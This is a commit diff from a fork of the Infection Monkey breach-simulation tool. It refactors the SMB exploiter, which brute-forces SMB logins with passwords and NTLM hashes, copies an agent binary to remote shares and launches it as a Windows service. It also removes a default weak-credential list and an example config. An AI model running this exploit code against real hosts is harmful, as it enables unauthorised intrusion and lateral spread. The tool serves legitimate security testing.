forked from p15670423/monkey
Merge pull request #1792 from guardicore/1741-add-smb-to-puppet
1741 add smb to puppet
This commit is contained in:
commit
61344f9861
|
@ -53,6 +53,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/).
|
||||||
- T1082 attack technique report. #1754
|
- T1082 attack technique report. #1754
|
||||||
- 32-bit agents. #1675
|
- 32-bit agents. #1675
|
||||||
- Log path config options. #1761
|
- Log path config options. #1761
|
||||||
|
- "smb_service_name" option. #1741
|
||||||
|
|
||||||
### Fixed
|
### Fixed
|
||||||
- A bug in network map page that caused delay of telemetry log loading. #1545
|
- A bug in network map page that caused delay of telemetry log loading. #1545
|
||||||
|
|
|
@ -35,7 +35,7 @@ The currently implemented Fingerprint modules are:
|
||||||
|
|
||||||
To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py).
|
To add a new scanner/fingerprinter, create a new class that inherits from [`HostScanner`][host-scanner] or [`HostFinger`][host-finger] (depending on the interface). The class should be under the network module and imported under [`network/__init__.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/network/__init__.py).
|
||||||
|
|
||||||
To use the new scanner/fingerprinter by default, two files need to be changed - [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) and [`infection_monkey/example.conf`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/example.conf) to add references to the new class.
|
To use the new scanner/fingerprinter by default, modify [`infection_monkey/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/config.py) to add references to the new class.
|
||||||
|
|
||||||
At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py).
|
At this point, the Infection Monkey knows how to use the new scanner/fingerprinter but to make it easy to use, the UI needs to be updated. The relevant UI file is [`monkey_island/cc/services/config.py`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/cc/services/config.py).
|
||||||
|
|
||||||
|
|
|
@ -1,9 +1,7 @@
|
||||||
import hashlib
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import uuid
|
import uuid
|
||||||
from abc import ABCMeta
|
from abc import ABCMeta
|
||||||
from itertools import product
|
|
||||||
|
|
||||||
GUID = str(uuid.getnode())
|
GUID = str(uuid.getnode())
|
||||||
|
|
||||||
|
@ -74,8 +72,6 @@ class Configuration(object):
|
||||||
dropper_set_date = True
|
dropper_set_date = True
|
||||||
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll"
|
||||||
dropper_date_reference_path_linux = "/bin/sh"
|
dropper_date_reference_path_linux = "/bin/sh"
|
||||||
dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe"
|
|
||||||
dropper_target_path_linux = "/tmp/monkey"
|
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
# monkey config
|
# monkey config
|
||||||
|
@ -93,35 +89,6 @@ class Configuration(object):
|
||||||
|
|
||||||
keep_tunnel_open_time = 60
|
keep_tunnel_open_time = 60
|
||||||
|
|
||||||
def get_exploit_user_password_pairs(self):
|
|
||||||
"""
|
|
||||||
Returns all combinations of the configurations users and passwords
|
|
||||||
:return:
|
|
||||||
"""
|
|
||||||
return product(self.exploit_user_list, self.exploit_password_list)
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def hash_sensitive_data(sensitive_data):
|
|
||||||
"""
|
|
||||||
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data
|
|
||||||
plain-text, as the log is
|
|
||||||
saved on client machines plain-text.
|
|
||||||
|
|
||||||
:param sensitive_data: the data to hash.
|
|
||||||
:return: the hashed data.
|
|
||||||
"""
|
|
||||||
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
|
|
||||||
return password_hashed
|
|
||||||
|
|
||||||
exploit_user_list = ["Administrator", "root", "user"]
|
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
|
||||||
exploit_lm_hash_list = []
|
|
||||||
exploit_ntlm_hash_list = []
|
|
||||||
|
|
||||||
# smb/wmi exploiter
|
|
||||||
smb_download_timeout = 30 # timeout in seconds
|
|
||||||
smb_service_name = "InfectionMonkey"
|
|
||||||
|
|
||||||
###########################
|
###########################
|
||||||
# post breach actions
|
# post breach actions
|
||||||
###########################
|
###########################
|
||||||
|
|
|
@ -1,69 +0,0 @@
|
||||||
{
|
|
||||||
"command_servers": [
|
|
||||||
"192.0.2.0:5000"
|
|
||||||
],
|
|
||||||
"keep_tunnel_open_time": 60,
|
|
||||||
"subnet_scan_list": [
|
|
||||||
|
|
||||||
],
|
|
||||||
"inaccessible_subnets": [],
|
|
||||||
"blocked_ips": [],
|
|
||||||
"current_server": "192.0.2.0:5000",
|
|
||||||
"should_stop": false,
|
|
||||||
"collect_system_info": true,
|
|
||||||
"should_use_mimikatz": true,
|
|
||||||
"depth": 2,
|
|
||||||
|
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
|
||||||
"dropper_date_reference_path_linux": "/bin/sh",
|
|
||||||
"dropper_set_date": true,
|
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
|
||||||
|
|
||||||
"exploiter_classes": [
|
|
||||||
"SSHExploiter",
|
|
||||||
"SmbExploiter",
|
|
||||||
"WmiExploiter",
|
|
||||||
"Struts2Exploiter",
|
|
||||||
"WebLogicExploiter",
|
|
||||||
"HadoopExploiter",
|
|
||||||
"MSSQLExploiter"
|
|
||||||
],
|
|
||||||
"finger_classes": [
|
|
||||||
"SSHFinger",
|
|
||||||
"HTTPFinger",
|
|
||||||
"SMBFinger",
|
|
||||||
"MSSQLFingerprint",
|
|
||||||
"ElasticFinger"
|
|
||||||
],
|
|
||||||
"ping_scan_timeout": 10000,
|
|
||||||
"smb_download_timeout": 300,
|
|
||||||
"smb_service_name": "InfectionMonkey",
|
|
||||||
"self_delete_in_cleanup": true,
|
|
||||||
"exploit_user_list": [],
|
|
||||||
"exploit_password_list": [],
|
|
||||||
"exploit_lm_hash_list": [],
|
|
||||||
"exploit_ntlm_hash_list": [],
|
|
||||||
"exploit_ssh_keys": [],
|
|
||||||
"local_network_scan": false,
|
|
||||||
"tcp_scan_timeout": 10000,
|
|
||||||
"tcp_target_ports": [
|
|
||||||
22,
|
|
||||||
445,
|
|
||||||
135,
|
|
||||||
3389,
|
|
||||||
80,
|
|
||||||
8080,
|
|
||||||
443,
|
|
||||||
3306,
|
|
||||||
8008,
|
|
||||||
9200,
|
|
||||||
7001,
|
|
||||||
8088
|
|
||||||
],
|
|
||||||
"post_breach_actions": []
|
|
||||||
custom_PBA_linux_cmd = ""
|
|
||||||
custom_PBA_windows_cmd = ""
|
|
||||||
PBA_linux_filename = None
|
|
||||||
PBA_windows_filename = None
|
|
||||||
}
|
|
|
@ -1,21 +1,24 @@
|
||||||
from logging import getLogger
|
from logging import getLogger
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import scmr, transport
|
from impacket.dcerpc.v5 import scmr, transport
|
||||||
|
from impacket.dcerpc.v5.scmr import DCERPCSessionError
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
from infection_monkey.exploit.tools.helpers import get_agent_dest_path
|
||||||
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
from infection_monkey.exploit.tools.smb_tools import SmbTools
|
||||||
from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS
|
from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS
|
||||||
from infection_monkey.network.tools import check_tcp_port
|
|
||||||
from infection_monkey.network_scanning.smbfinger import SMBFinger
|
|
||||||
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
from infection_monkey.telemetry.attack.t1035_telem import T1035Telem
|
||||||
|
from infection_monkey.utils.brute_force import (
|
||||||
|
generate_brute_force_combinations,
|
||||||
|
get_credential_string,
|
||||||
|
)
|
||||||
from infection_monkey.utils.commands import build_monkey_commandline
|
from infection_monkey.utils.commands import build_monkey_commandline
|
||||||
|
|
||||||
logger = getLogger(__name__)
|
logger = getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class SmbExploiter(HostExploiter):
|
class SMBExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ["windows"]
|
_TARGET_OS_TYPE = ["windows"]
|
||||||
_EXPLOITED_SERVICE = "SMB"
|
_EXPLOITED_SERVICE = "SMB"
|
||||||
KNOWN_PROTOCOLS = {
|
KNOWN_PROTOCOLS = {
|
||||||
|
@ -23,116 +26,83 @@ class SmbExploiter(HostExploiter):
|
||||||
"445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445),
|
"445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445),
|
||||||
}
|
}
|
||||||
USE_KERBEROS = False
|
USE_KERBEROS = False
|
||||||
|
SMB_SERVICE_NAME = "InfectionMonkey"
|
||||||
def __init__(self, host):
|
|
||||||
super(SmbExploiter, self).__init__(host)
|
|
||||||
|
|
||||||
def is_os_supported(self):
|
|
||||||
if super(SmbExploiter, self).is_os_supported():
|
|
||||||
return True
|
|
||||||
|
|
||||||
if not self.host.os.get("type"):
|
|
||||||
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
|
||||||
if is_smb_open:
|
|
||||||
smb_finger = SMBFinger()
|
|
||||||
smb_finger.get_host_fingerprint(self.host)
|
|
||||||
else:
|
|
||||||
is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
|
|
||||||
if is_nb_open:
|
|
||||||
self.host.os["type"] = "windows"
|
|
||||||
return self.host.os.get("type") in self._TARGET_OS_TYPE
|
|
||||||
return False
|
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
src_path = get_target_monkey(self.host)
|
agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"])
|
||||||
|
dest_path = get_agent_dest_path(self.host, self.options)
|
||||||
|
creds = generate_brute_force_combinations(self.options["credentials"])
|
||||||
|
|
||||||
if not src_path:
|
|
||||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
|
||||||
return False
|
|
||||||
|
|
||||||
# TODO use infectionmonkey.utils.brute_force
|
|
||||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
|
||||||
|
|
||||||
exploited = False
|
|
||||||
for user, password, lm_hash, ntlm_hash in creds:
|
for user, password, lm_hash, ntlm_hash in creds:
|
||||||
|
creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash])
|
||||||
|
|
||||||
try:
|
try:
|
||||||
# copy the file remotely using SMB
|
# copy the file remotely using SMB
|
||||||
remote_full_path = SmbTools.copy_file(
|
remote_full_path = SmbTools.copy_file(
|
||||||
self.host,
|
self.host,
|
||||||
src_path,
|
agent_binary,
|
||||||
self._config.dropper_target_path_win_32,
|
dest_path,
|
||||||
user,
|
user,
|
||||||
password,
|
password,
|
||||||
lm_hash,
|
lm_hash,
|
||||||
ntlm_hash,
|
ntlm_hash,
|
||||||
self._config.smb_download_timeout,
|
self.options["smb_download_timeout"],
|
||||||
)
|
)
|
||||||
|
|
||||||
if remote_full_path is not None:
|
if remote_full_path is not None:
|
||||||
logger.debug(
|
logger.info(
|
||||||
"Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) "
|
f"Successfully logged in to {self.host.ip_addr} using SMB "
|
||||||
"%s : (SHA-512) %s)",
|
f"with {creds_for_log}"
|
||||||
self.host,
|
|
||||||
user,
|
|
||||||
self._config.hash_sensitive_data(password),
|
|
||||||
self._config.hash_sensitive_data(lm_hash),
|
|
||||||
self._config.hash_sensitive_data(ntlm_hash),
|
|
||||||
)
|
)
|
||||||
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(True, user, password, lm_hash, ntlm_hash)
|
||||||
self.add_vuln_port(
|
self.add_vuln_port(
|
||||||
"%s or %s"
|
"%s or %s"
|
||||||
% (
|
% (
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
exploited = True
|
self.exploit_result.exploitation_success = True
|
||||||
break
|
break
|
||||||
else:
|
else:
|
||||||
# failed exploiting with this user/pass
|
# failed exploiting with this user/pass
|
||||||
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
self.report_login_attempt(False, user, password, lm_hash, ntlm_hash)
|
||||||
|
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.error(
|
||||||
"Exception when trying to copy file using SMB to %r with user:"
|
f"Error while trying to copy file using SMB to {self.host.ip_addr} with "
|
||||||
" %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
f"{creds_for_log}:{exc}"
|
||||||
"SHA-512): %s: (%s)",
|
|
||||||
self.host,
|
|
||||||
user,
|
|
||||||
self._config.hash_sensitive_data(password),
|
|
||||||
self._config.hash_sensitive_data(lm_hash),
|
|
||||||
self._config.hash_sensitive_data(ntlm_hash),
|
|
||||||
exc,
|
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
if not exploited:
|
if not self.exploit_result.exploitation_success:
|
||||||
logger.debug("Exploiter SmbExec is giving up...")
|
logger.debug("Exploiter SmbExec is giving up...")
|
||||||
return False
|
self.exploit_result.error_message = "Failed to authenticate to the victim over SMB"
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != dest_path.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {
|
||||||
"dropper_path": remote_full_path
|
"dropper_path": remote_full_path
|
||||||
} + build_monkey_commandline(
|
} + build_monkey_commandline(
|
||||||
self.host,
|
self.host,
|
||||||
get_monkey_depth() - 1,
|
self.current_depth - 1,
|
||||||
self._config.dropper_target_path_win_32,
|
dest_path,
|
||||||
)
|
)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {
|
||||||
"monkey_path": remote_full_path
|
"monkey_path": remote_full_path
|
||||||
} + build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
} + build_monkey_commandline(self.host, self.current_depth - 1)
|
||||||
|
|
||||||
smb_conn = False
|
smb_conn = False
|
||||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values():
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
rpctransport.set_dport(port)
|
rpctransport.set_dport(port)
|
||||||
rpctransport.setRemoteHost(self.host.ip_addr)
|
rpctransport.setRemoteHost(self.host.ip_addr)
|
||||||
if hasattr(rpctransport, "set_credentials"):
|
if hasattr(rpctransport, "set_credentials"):
|
||||||
# This method exists only for selected protocol sequences.
|
# This method exists only for selected protocol sequences.
|
||||||
rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None)
|
rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None)
|
||||||
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
|
rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS)
|
||||||
|
|
||||||
scmr_rpc = rpctransport.get_dce_rpc()
|
scmr_rpc = rpctransport.get_dce_rpc()
|
||||||
|
|
||||||
|
@ -140,18 +110,23 @@ class SmbExploiter(HostExploiter):
|
||||||
scmr_rpc.connect()
|
scmr_rpc.connect()
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Can't connect to SCM on exploited machine %r port %s : %s",
|
f"Can't connect to SCM on exploited machine {self.host}, port {port} : {exc}"
|
||||||
self.host,
|
|
||||||
port,
|
|
||||||
exc,
|
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}")
|
||||||
smb_conn = rpctransport.get_smb_connection()
|
smb_conn = rpctransport.get_smb_connection()
|
||||||
break
|
break
|
||||||
|
|
||||||
if not smb_conn:
|
if not smb_conn:
|
||||||
return False
|
msg = "Failed to establish an RPC connection over SMB"
|
||||||
|
|
||||||
|
logger.warning(msg)
|
||||||
|
self.exploit_result.error_message = msg
|
||||||
|
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
|
# TODO: We DO want to deal with timeouts
|
||||||
# We don't wanna deal with timeouts from now on.
|
# We don't wanna deal with timeouts from now on.
|
||||||
smb_conn.setTimeout(100000)
|
smb_conn.setTimeout(100000)
|
||||||
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
|
||||||
|
@ -159,13 +134,22 @@ class SmbExploiter(HostExploiter):
|
||||||
sc_handle = resp["lpScHandle"]
|
sc_handle = resp["lpScHandle"]
|
||||||
|
|
||||||
# start the monkey using the SCM
|
# start the monkey using the SCM
|
||||||
resp = scmr.hRCreateServiceW(
|
try:
|
||||||
scmr_rpc,
|
resp = scmr.hRCreateServiceW(
|
||||||
sc_handle,
|
scmr_rpc,
|
||||||
self._config.smb_service_name,
|
sc_handle,
|
||||||
self._config.smb_service_name,
|
SMBExploiter.SMB_SERVICE_NAME,
|
||||||
lpBinaryPathName=cmdline,
|
SMBExploiter.SMB_SERVICE_NAME,
|
||||||
)
|
lpBinaryPathName=cmdline,
|
||||||
|
)
|
||||||
|
except DCERPCSessionError as err:
|
||||||
|
if err.error_code == 0x431:
|
||||||
|
logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists')
|
||||||
|
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
|
||||||
|
else:
|
||||||
|
self.exploit_result.error_message = str(err)
|
||||||
|
return self.exploit_result
|
||||||
|
|
||||||
service = resp["lpServiceHandle"]
|
service = resp["lpServiceHandle"]
|
||||||
try:
|
try:
|
||||||
scmr.hRStartServiceW(scmr_rpc, service)
|
scmr.hRStartServiceW(scmr_rpc, service)
|
||||||
|
@ -173,7 +157,7 @@ class SmbExploiter(HostExploiter):
|
||||||
except Exception:
|
except Exception:
|
||||||
status = ScanStatus.SCANNED
|
status = ScanStatus.SCANNED
|
||||||
pass
|
pass
|
||||||
T1035Telem(status, UsageEnum.SMB).send()
|
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
|
||||||
scmr.hRDeleteService(scmr_rpc, service)
|
scmr.hRDeleteService(scmr_rpc, service)
|
||||||
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
scmr.hRCloseServiceHandle(scmr_rpc, service)
|
||||||
|
|
||||||
|
@ -183,12 +167,13 @@ class SmbExploiter(HostExploiter):
|
||||||
self.host,
|
self.host,
|
||||||
cmdline,
|
cmdline,
|
||||||
)
|
)
|
||||||
|
self.exploit_result.propagation_success = True
|
||||||
|
|
||||||
self.add_vuln_port(
|
self.add_vuln_port(
|
||||||
"%s or %s"
|
"%s or %s"
|
||||||
% (
|
% (
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1],
|
||||||
SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1],
|
||||||
)
|
)
|
||||||
)
|
)
|
||||||
return True
|
return self.exploit_result
|
||||||
|
|
|
@ -8,17 +8,6 @@ from infection_monkey.model import VictimHost
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
def try_get_target_monkey(host):
|
|
||||||
src_path = get_target_monkey(host)
|
|
||||||
if not src_path:
|
|
||||||
raise Exception("Can't find suitable monkey executable for host %r", host)
|
|
||||||
return src_path
|
|
||||||
|
|
||||||
|
|
||||||
def get_target_monkey(host):
|
|
||||||
raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.")
|
|
||||||
|
|
||||||
|
|
||||||
def get_random_file_suffix() -> str:
|
def get_random_file_suffix() -> str:
|
||||||
character_set = list(string.ascii_letters + string.digits + "_" + "-")
|
character_set = list(string.ascii_letters + string.digits + "_" + "-")
|
||||||
# random.SystemRandom can block indefinitely in Linux
|
# random.SystemRandom can block indefinitely in Linux
|
||||||
|
@ -26,12 +15,6 @@ def get_random_file_suffix() -> str:
|
||||||
return random_string
|
return random_string
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
|
||||||
from infection_monkey.config import WormConfiguration
|
|
||||||
|
|
||||||
return WormConfiguration.depth
|
|
||||||
|
|
||||||
|
|
||||||
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str:
|
def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str:
|
||||||
if host.os["type"] == "windows":
|
if host.os["type"] == "windows":
|
||||||
return options["dropper_target_path_win_64"]
|
return options["dropper_target_path_win_64"]
|
||||||
|
|
|
@ -4,8 +4,6 @@ import urllib.parse
|
||||||
import urllib.request
|
import urllib.request
|
||||||
from threading import Lock
|
from threading import Lock
|
||||||
|
|
||||||
from infection_monkey.exploit.tools.helpers import try_get_target_monkey
|
|
||||||
from infection_monkey.model import DOWNLOAD_TIMEOUT
|
|
||||||
from infection_monkey.network.firewall import app as firewall
|
from infection_monkey.network.firewall import app as firewall
|
||||||
from infection_monkey.network.info import get_free_tcp_port
|
from infection_monkey.network.info import get_free_tcp_port
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
|
@ -62,24 +60,3 @@ class HTTPTools(object):
|
||||||
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
|
"http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])),
|
||||||
httpd,
|
httpd,
|
||||||
)
|
)
|
||||||
|
|
||||||
|
|
||||||
class MonkeyHTTPServer(HTTPTools):
|
|
||||||
def __init__(self, host):
|
|
||||||
super(MonkeyHTTPServer, self).__init__()
|
|
||||||
self.http_path = None
|
|
||||||
self.http_thread = None
|
|
||||||
self.host = host
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
# Get monkey exe for host and it's path
|
|
||||||
src_path = try_get_target_monkey(self.host)
|
|
||||||
self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer(
|
|
||||||
self.host, src_path
|
|
||||||
)
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
if not self.http_path or not self.http_thread:
|
|
||||||
raise RuntimeError("Can't stop http server that wasn't started!")
|
|
||||||
self.http_thread.join(DOWNLOAD_TIMEOUT)
|
|
||||||
self.http_thread.stop()
|
|
||||||
|
|
|
@ -8,9 +8,9 @@ from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21
|
||||||
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
from impacket.smbconnection import SMB_DIALECT, SMBConnection
|
||||||
|
|
||||||
from common.utils.attack_utils import ScanStatus
|
from common.utils.attack_utils import ScanStatus
|
||||||
from infection_monkey.config import Configuration
|
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target
|
||||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||||
|
from infection_monkey.utils.brute_force import get_credential_string
|
||||||
|
|
||||||
logger = logging.getLogger(__name__)
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
@ -28,6 +28,8 @@ class SmbTools(object):
|
||||||
timeout=60,
|
timeout=60,
|
||||||
):
|
):
|
||||||
# TODO assess the 60 second timeout
|
# TODO assess the 60 second timeout
|
||||||
|
creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash])
|
||||||
|
logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}")
|
||||||
|
|
||||||
smb, dialect = SmbTools.new_smb_connection(
|
smb, dialect = SmbTools.new_smb_connection(
|
||||||
host, username, password, lm_hash, ntlm_hash, timeout
|
host, username, password, lm_hash, ntlm_hash, timeout
|
||||||
|
@ -37,16 +39,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
# skip guest users
|
# skip guest users
|
||||||
if smb.isGuestSession() > 0:
|
if smb.isGuestSession() > 0:
|
||||||
logger.debug(
|
logger.info(f"Connection to {host} granted guest privileges with {creds_for_log}")
|
||||||
"Connection to %r granted guest privileges with user: %s, password (SHA-512): "
|
|
||||||
"'%s',"
|
|
||||||
" LM hash (SHA-512): %s, NTLM hash (SHA-512): %s",
|
|
||||||
host,
|
|
||||||
username,
|
|
||||||
Configuration.hash_sensitive_data(password),
|
|
||||||
Configuration.hash_sensitive_data(lm_hash),
|
|
||||||
Configuration.hash_sensitive_data(ntlm_hash),
|
|
||||||
)
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
smb.logoff()
|
smb.logoff()
|
||||||
|
@ -129,8 +122,8 @@ class SmbTools(object):
|
||||||
try:
|
try:
|
||||||
smb.connectTree(share_name)
|
smb.connectTree(share_name)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.error(
|
||||||
"Error connecting tree to share '%s' on victim %r: %s", share_name, host, exc
|
f'Error connecting tree to share "{share_name}" on victim {host}: {exc}'
|
||||||
)
|
)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -161,7 +154,7 @@ class SmbTools(object):
|
||||||
|
|
||||||
break
|
break
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.error(
|
||||||
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
|
"Error uploading monkey to share '%s' on victim %r: %s", share_name, host, exc
|
||||||
)
|
)
|
||||||
T1105Telem(
|
T1105Telem(
|
||||||
|
@ -181,14 +174,8 @@ class SmbTools(object):
|
||||||
|
|
||||||
if not file_uploaded:
|
if not file_uploaded:
|
||||||
logger.debug(
|
logger.debug(
|
||||||
"Couldn't find a writable share for exploiting victim %r with "
|
f"Couldn't find a writable share for exploiting victim {host} with "
|
||||||
"username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash ("
|
f'user "{username}"'
|
||||||
"SHA-512): %s",
|
|
||||||
host,
|
|
||||||
username,
|
|
||||||
Configuration.hash_sensitive_data(password),
|
|
||||||
Configuration.hash_sensitive_data(lm_hash),
|
|
||||||
Configuration.hash_sensitive_data(ntlm_hash),
|
|
||||||
)
|
)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -219,16 +206,7 @@ class SmbTools(object):
|
||||||
try:
|
try:
|
||||||
smb.login(username, password, "", lm_hash, ntlm_hash)
|
smb.login(username, password, "", lm_hash, ntlm_hash)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
logger.debug(
|
logger.error(f'Error while logging into {host} using user "{username}": {exc}')
|
||||||
"Error while logging into %r using user: %s, password (SHA-512): '%s', "
|
|
||||||
"LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s",
|
|
||||||
host,
|
|
||||||
username,
|
|
||||||
Configuration.hash_sensitive_data(password),
|
|
||||||
Configuration.hash_sensitive_data(lm_hash),
|
|
||||||
Configuration.hash_sensitive_data(ntlm_hash),
|
|
||||||
exc,
|
|
||||||
)
|
|
||||||
return None, dialect
|
return None, dialect
|
||||||
|
|
||||||
smb.setTimeout(timeout)
|
smb.setTimeout(timeout)
|
||||||
|
|
|
@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter
|
||||||
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
from infection_monkey.exploit.log4shell import Log4ShellExploiter
|
||||||
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
from infection_monkey.exploit.mssqlexec import MSSQLExploiter
|
||||||
from infection_monkey.exploit.powershell import PowerShellExploiter
|
from infection_monkey.exploit.powershell import PowerShellExploiter
|
||||||
|
from infection_monkey.exploit.smbexec import SMBExploiter
|
||||||
from infection_monkey.exploit.sshexec import SSHExploiter
|
from infection_monkey.exploit.sshexec import SSHExploiter
|
||||||
from infection_monkey.exploit.wmiexec import WmiExploiter
|
from infection_monkey.exploit.wmiexec import WmiExploiter
|
||||||
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
from infection_monkey.exploit.zerologon import ZerologonExploiter
|
||||||
|
